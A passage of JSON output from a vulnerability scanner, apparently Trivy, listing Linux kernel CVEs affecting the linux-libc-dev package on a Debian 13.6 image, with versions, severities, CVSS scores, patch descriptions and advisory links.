"https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/linus/9026932ac8be4d0ae01db47f23619a98cc57b671%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90036.mbox", "https://git.kernel.org/stable/c/0d53a47c913d0bce3b5ec35c28cbcca4d015f33d", "https://git.kernel.org/stable/c/6fedb2eaff77554ca7a0deffd2e8bc0d6e8b38b0", "https://git.kernel.org/stable/c/7081224a59a0ca4edcd62c068588f4d900199a18", "https://git.kernel.org/stable/c/9026932ac8be4d0ae01db47f23619a98cc57b671", "https://git.kernel.org/stable/c/cd489b03587378645fe0d20142a33f1ed60bac98", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-p5cbazwcywbu.toml", "https://linux.oracle.com/cve/CVE-2026-90036.html", "https://linux.oracle.com/errata/ELSA-2026-83207.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90036", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-90036" ], "PublishedDate": "2026-09-16T11:17:16.803Z", "LastModifiedDate": "2026-10-21T13:20:34.647Z" }, { "VulnerabilityID": "CVE-2026-90049", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90049", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6e154216a70c852bf41113a864f5d0619a07d68b532fc33a9808617c771c4645", "Title": "kernel: net: skbuff: don't skb_tx_error() the source skb in skb_zerocopy()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: don't skb_tx_error() the source skb in skb_zerocopy()\n\nskb_zerocopy() copies frags from @from into @to. On an\nskb_orphan_frags() failure it calls skb_tx_error(@from), a destructive\noperation on the source skb the copy helper does not own. That completes\n@from's zerocopy uarg and clears SKBFL_ALL_ZEROCOPY, including the\nSKBFL_SHARED_FRAG page-ownership marker.\n\nBoth callers already report the failure on their own drop path.\nnfnetlink_queue does it at nla_put_failure, and Open vSwitch does it in\nthe flow-miss drop arm of ovs_dp_process_packet(), so nothing is lost by\ndropping it here.\n\nOn Open vSwitch's OVS_ACTION_ATTR_USERSPACE path the skb is not freed on\nthis error: do_execute_actions() ignores output_userspace()'s return\nvalue and, unless the upcall was the last action, keeps forwarding the\nsame skb through the flow's remaining actions. The uarg is completed\nwhile that skb is still in flight, telling the producer its buffers are\nfree, and SKBFL_SHARED_FRAG is cleared on an skb the rest of the stack\nstill handles. That flag is what makes esp_input() call skb_cow_data()\ninstead of decrypting in place, so a later local ESP delivery can\ndecrypt over frags the skb does not own privately.\n\nLeave error reporting to the callers.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-90049", "https://git.kernel.org/linus/8ece906150128d5ec2462aabcc978c568433eca4%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90049.mbox", "https://git.kernel.org/stable/c/04dd250a78e268af3e7124beb1dc10ec1dd88d60", "https://git.kernel.org/stable/c/767ec2a65cc022d303b0c9c12811e7db22057341", "https://git.kernel.org/stable/c/8069643ae64dfdf634b6c78c7f622e5323031436", "https://git.kernel.org/stable/c/849bdb83123760a865bcb2970127f4c0b9423ba3", "https://git.kernel.org/stable/c/8ece906150128d5ec2462aabcc978c568433eca4", "https://git.kernel.org/stable/c/a13b1e80e5015cd732440b475c0ef443dc4a2157", "https://git.kernel.org/stable/c/bab5a851e44a3601d31f2aa8043f385bb50ac5d9", "https://git.kernel.org/stable/c/fb10e0e9b220a2eed08931a60dbaad9a2370c908", "https://linux.oracle.com/cve/CVE-2026-90049.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90049", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-90049" ], "PublishedDate": "2026-09-16T11:17:18.263Z", "LastModifiedDate": "2026-10-19T09:18:53.277Z" }, { "VulnerabilityID": "CVE-2026-90111", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bbb3b4bf930f6764b66bf0d4306cafc38172344769fb32ca9480b793fc79b4d5", "Title": "kernel: ip6mr: do not clone dst in ip6mr_cache_report()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6mr: do not clone dst in ip6mr_cache_report()\n\nIPv6 input attaches a non-refcounted (NOREF) dst to skbs under RCU.\nWhen an ingress multicast packet misses MFC lookup,\nip6mr_cache_unresolved() places the skb onto the unresolved queue,\nescaping the receive-side RCU grace period.\n\nIf the underlying route is deleted and freed, and the MFC queue is later\nresolved with a wrong parent interface, ip6_mr_forward() invokes\nip6mr_cache_report(..., MRT6MSG_WRONGMIF), which executes\ndst_clone(skb_dst(pkt)) on the freed dst entry, triggering a slab\nuse-after-free.\n\nReport packets queued to mroute6_sk (a raw socket) and netlink\nnotifications do not require an attached dst entry.\n\nFix this by:\n1. Removing dst_clone() in ip6mr_cache_report() and ensuring report skbs\n do not hold a dst.\n2. Dropping skb_dst before queuing unresolved skbs in\n ip6mr_cache_unresolved(), matching the fact that multicast\n forwarding resolves outgoing routes anew via ip6_route_output().", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-90111", "https://git.kernel.org/linus/235b42b5860189eb8c27c36435ad932cae65a734%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90111.mbox", "https://git.kernel.org/stable/c/235b42b5860189eb8c27c36435ad932cae65a734", "https://git.kernel.org/stable/c/42ef371466d5648f5c9e8bc219f0af0a2c2bbf8c", "https://git.kernel.org/stable/c/4a674afaae4136c71943aa3e35d433676fd40e8f", "https://git.kernel.org/stable/c/7f8287f606c8c028d4224e85d95dc448c6d6d623", "https://git.kernel.org/stable/c/b50d3cfb8513e895cee453dd0f834deee6ccc231", "https://git.kernel.org/stable/c/f57b0fd1c62e1be274ee154ab7fb8ac4481b7f89", "https://nvd.nist.gov/vuln/detail/CVE-2026-90111", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90111" ], "PublishedDate": "2026-09-17T17:17:03.13Z", "LastModifiedDate": "2026-10-30T13:20:42.083Z" }, { "VulnerabilityID": "CVE-2026-90206", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90206", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b4e6f1321991c46e9813949cc157991f414999fbccd449342cf1b4074ff78234", "Title": "kernel: nvmet: fix max_qid race between configfs and controller allocation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: fix max_qid race between configfs and controller allocation\n\nThe function nvmet_subsys_attr_qid_max_store() can race against\nnvmet_alloc_ctrl() when a subsystem's max_qid limit is modified.\n\nSuppose max_qid is currently 64. If nvmet_alloc_ctrl() executes:\nctrl-\u003esqs = kzalloc_objs(struct nvmet_sq *, subsys-\u003emax_qid + 1);\nand at this exact point, a userspace process changes max_qid to 128,\nnvmet_subsys_attr_qid_max_store() will set the new max_qid value. It\nattempts to delete active controllers to force a reconnect, but the\nnew controller won't be deleted because it hasn't been added to the\nsubsys-\u003ectrls list yet.\n\nnvmet_alloc_ctrl() then proceeds and adds the new controller to the\nsubsys-\u003ectrls list. Later, when nvmet_install_queue() is called, it\nwill see max_qid set to 128, but the memory allocated for sqs is only\nsized for 64 entries. This results in a KASAN out-of-bounds warning\nand potential memory corruptions.\n\nFix this by protecting the queue allocations and list insertion in\nnvmet_alloc_ctrl() with down_read(\u0026nvmet_config_sem). Because\nnvmet_subsys_attr_qid_max_store() acquires down_write(\u0026nvmet_config_sem)\nto modify the attribute, this safely prevents the configfs writer from\nmodifying max_qid during controller creation.\n\nCopy the max_qid from the subsystem to the controller's structure\nduring the allocation; ctrl-\u003emax_qid never changes as long as the\ncontroller remains in LIVE state, so this will prevent similar race\nconditions.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 2, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-90206", "https://git.kernel.org/linus/f1a8846e06388113dfdbb89dee005083fa9afdf9%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90206.mbox", "https://git.kernel.org/stable/c/2c23fc91789dfd9db746edb3ae9b90d65fabd410", "https://git.kernel.org/stable/c/6e6f8e3bfc66dff1833a48ecfd857268cff3be84", "https://git.kernel.org/stable/c/a1b88a1782eb6b368071dcda548a41b5c23d8cd2", "https://git.kernel.org/stable/c/af811970da4f0a928f5a1b1a946a04f755ce86f2", "https://git.kernel.org/stable/c/cae0f5ed6ce7af3f7e0003c417f1953a350f55bf", "https://git.kernel.org/stable/c/f1a8846e06388113dfdbb89dee005083fa9afdf9", "https://nvd.nist.gov/vuln/detail/CVE-2026-90206", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90206" ], "PublishedDate": "2026-09-17T17:17:15.7Z", "LastModifiedDate": "2026-10-30T13:20:46.387Z" }, { "VulnerabilityID": "CVE-2026-90227", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90227", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ee62f21c6c9e21adc58e11fce46d83613ea9358d07ce10add9a04368107ab95d", "Title": "kernel: nvme/ioctl: check SUBMIT_IO with nvme_cmd_allowed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme/ioctl: check SUBMIT_IO with nvme_cmd_allowed()\n\nUnlike IO_CMD / IO64_CMD, NVME_IOCTL_SUBMIT_IO never calls\nnvme_cmd_allowed(). Unprivileged callers can thus issue I/O on a\npartition device or write through a read-only file descriptor.\n\nPass flags and open_for_write through and reject disallowed commands\nwith -EACCES.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-90227", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/b53d495c7f0db46b6748b5ade48371a10dd5d3bc%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90227.mbox", "https://git.kernel.org/stable/c/736b7c6adc7a65c4411beff197b6a634f7a6ca27", "https://git.kernel.org/stable/c/95b0591d51dbf9e618d7845883d535e88ad7c8af", "https://git.kernel.org/stable/c/b116e9dae433ff631f94c36c61a7a78fe400ed1e", "https://git.kernel.org/stable/c/b53d495c7f0db46b6748b5ade48371a10dd5d3bc", "https://git.kernel.org/stable/c/c35cd98eed1a863e8dd51073953563cd8c907f68", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-o7kfra1chleh.toml", "https://linux.oracle.com/cve/CVE-2026-90227.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90227", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90227" ], "PublishedDate": "2026-09-17T17:17:18.4Z", "LastModifiedDate": "2026-10-19T09:19:13.03Z" }, { "VulnerabilityID": "CVE-2026-90315", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90315", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:65e82b778c0adfeae04960c4ed3d63c7ce9edffae58d842ae7609031f62e9d67", "Title": "kernel: PCI/sysfs: Add lockdown checks to legacy I/O and memory handlers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/sysfs: Add lockdown checks to legacy I/O and memory handlers\n\nCurrently, the legacy I/O and memory sysfs handlers do not check\nsecurity_locked_down(LOCKDOWN_PCI_ACCESS), leaving the legacy_io and\nlegacy_mem files unprotected when the kernel is locked down.\n\nCommit eb627e17727e (\"PCI: Lock down BAR access when the kernel is locked\ndown\") added the check to pci_write_config(), pci_mmap_resource(), and\npci_write_resource_io() to prevent userspace from programming DMA-capable\nhardware that could be used to modify kernel code, but did not cover the\nlegacy handlers.\n\nAs a result, root can still write arbitrary I/O ports and map the legacy\nI/O and memory spaces while the kernel is locked down, which is the same\ncapability the lockdown is meant to remove.\n\nAdd the same check to pci_write_legacy_io(), pci_mmap_legacy_mem(), and\npci_mmap_legacy_io().\n\nThese generic handlers cover both architectures that define HAVE_PCI_LEGACY\n(such as Alpha and PowerPC).\n\n[bhelgaas: add Link]", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95367", "https://access.redhat.com/security/cve/CVE-2026-90315", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2536264", "https://bugzilla.redhat.com/2559811", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2536264", "https://bugzilla.redhat.com/show_bug.cgi?id=2559811", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98974", "https://errata.almalinux.org/10/ALSA-2026-95367.html", "https://errata.rockylinux.org/RLSA-2026:95367", "https://git.kernel.org/linus/747b9bbbbdfdee51aee2456388f9b94b5086de4d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90315.mbox", "https://git.kernel.org/stable/c/3556caa31a2bfbc22c11b812fd4ed8851c2d7bff", "https://git.kernel.org/stable/c/747b9bbbbdfdee51aee2456388f9b94b5086de4d", "https://git.kernel.org/stable/c/cd07aef510ac6a2873e01f9ddddc5492490b0067", "https://linux.oracle.com/cve/CVE-2026-90315.html", "https://linux.oracle.com/errata/ELSA-2026-95367.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-90315", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-90315" ], "PublishedDate": "2026-09-17T17:17:29.34Z", "LastModifiedDate": "2026-10-19T09:19:25.46Z" }, { "VulnerabilityID": "CVE-2026-93288", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93288", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:426c87b88b298103365ec0a5babcd6b9fde2ba682f85407c17f783d635220548", "Title": "kernel: netfilter: nfnetlink_log: wait for rcu grace period before freeing pernet state", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nfnetlink_log: wait for rcu grace period before freeing pernet state\n\nsashiko reports: \"nfnl_log_net_exit() calls nf_log_unset(), which\nclears the logger pointer without an RCU grace period. Immediately after,\nops_free_list() frees the per-net state while concurrent packets might\nstill be executing nf_log_packet() under rcu_read_lock().\"\n\nClear the pointer via .pre_exit to make sure rcu readers have completed\nbefore pernet storage is free'd. The change in nf_log_syslog.c is only\ndone for consistency: it doesn't use pernet data.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93288", "https://access.redhat.com/errata/RHSA-2026:85773", "https://access.redhat.com/errata/RHSA-2026:85774", "https://access.redhat.com/security/cve/CVE-2026-93288", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2532089", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540500", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2532089", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2540500", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", 